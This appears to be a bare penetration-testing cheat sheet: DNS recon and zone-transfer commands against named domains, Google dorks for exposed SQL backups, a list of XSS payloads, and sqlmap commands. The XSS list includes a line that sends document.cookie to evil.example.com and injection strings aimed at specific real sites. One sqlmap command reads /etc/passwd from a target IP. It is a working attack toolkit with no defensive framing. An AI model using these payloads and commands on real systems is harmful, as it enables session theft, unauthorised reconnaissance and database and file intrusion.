fierce -dns target.com
dig @ns2.iitk.ac.in iitk.ac.in axfr
dig <target-host> ns
theharvester –d prakharprasad.com –b google
https://dnsdumpster.com/)
http://www.yougetsignal.com/)
Dirbuster
(https://pentest-tools.com/home
backup.sql intext:"SELECT" ext:sql site:net
ext:pdf site:packtpub.com


++++++++++++++++++++++++++++

window.location='http://evil.example.com/?cookie='+document.cookie
<a href="javascript:alert('myxssruns')">Click Me</a>
javascript://%0d%0aalert(1);
javascript://%0d%0aalert(1);//http://derp.com
javascript://%0d%0alert(1);//.com
https://api.vineapp.com/users/search/"><imgsrc=x onerror=alert(1);
[Hi](javascript:alert(1);)
http://www.garage4hackers.com/clientscript/yui/uploader/assets/uploader.swf?YUISwfId=\"))}catch(e) {alert('XSS');}//
\")}catch(e) {alert('XSS');}//
try { __flash__toXML(any-javascript-func, "arg"); } catch (e) {"<undefined/>"; }


sqlmap.py -u http://192.168.50.2/Less-1/?id=2 --privileges
sqlmap.py -u http://107.170.95.147/Less-1/?id=1 --file-read=/etc/passwd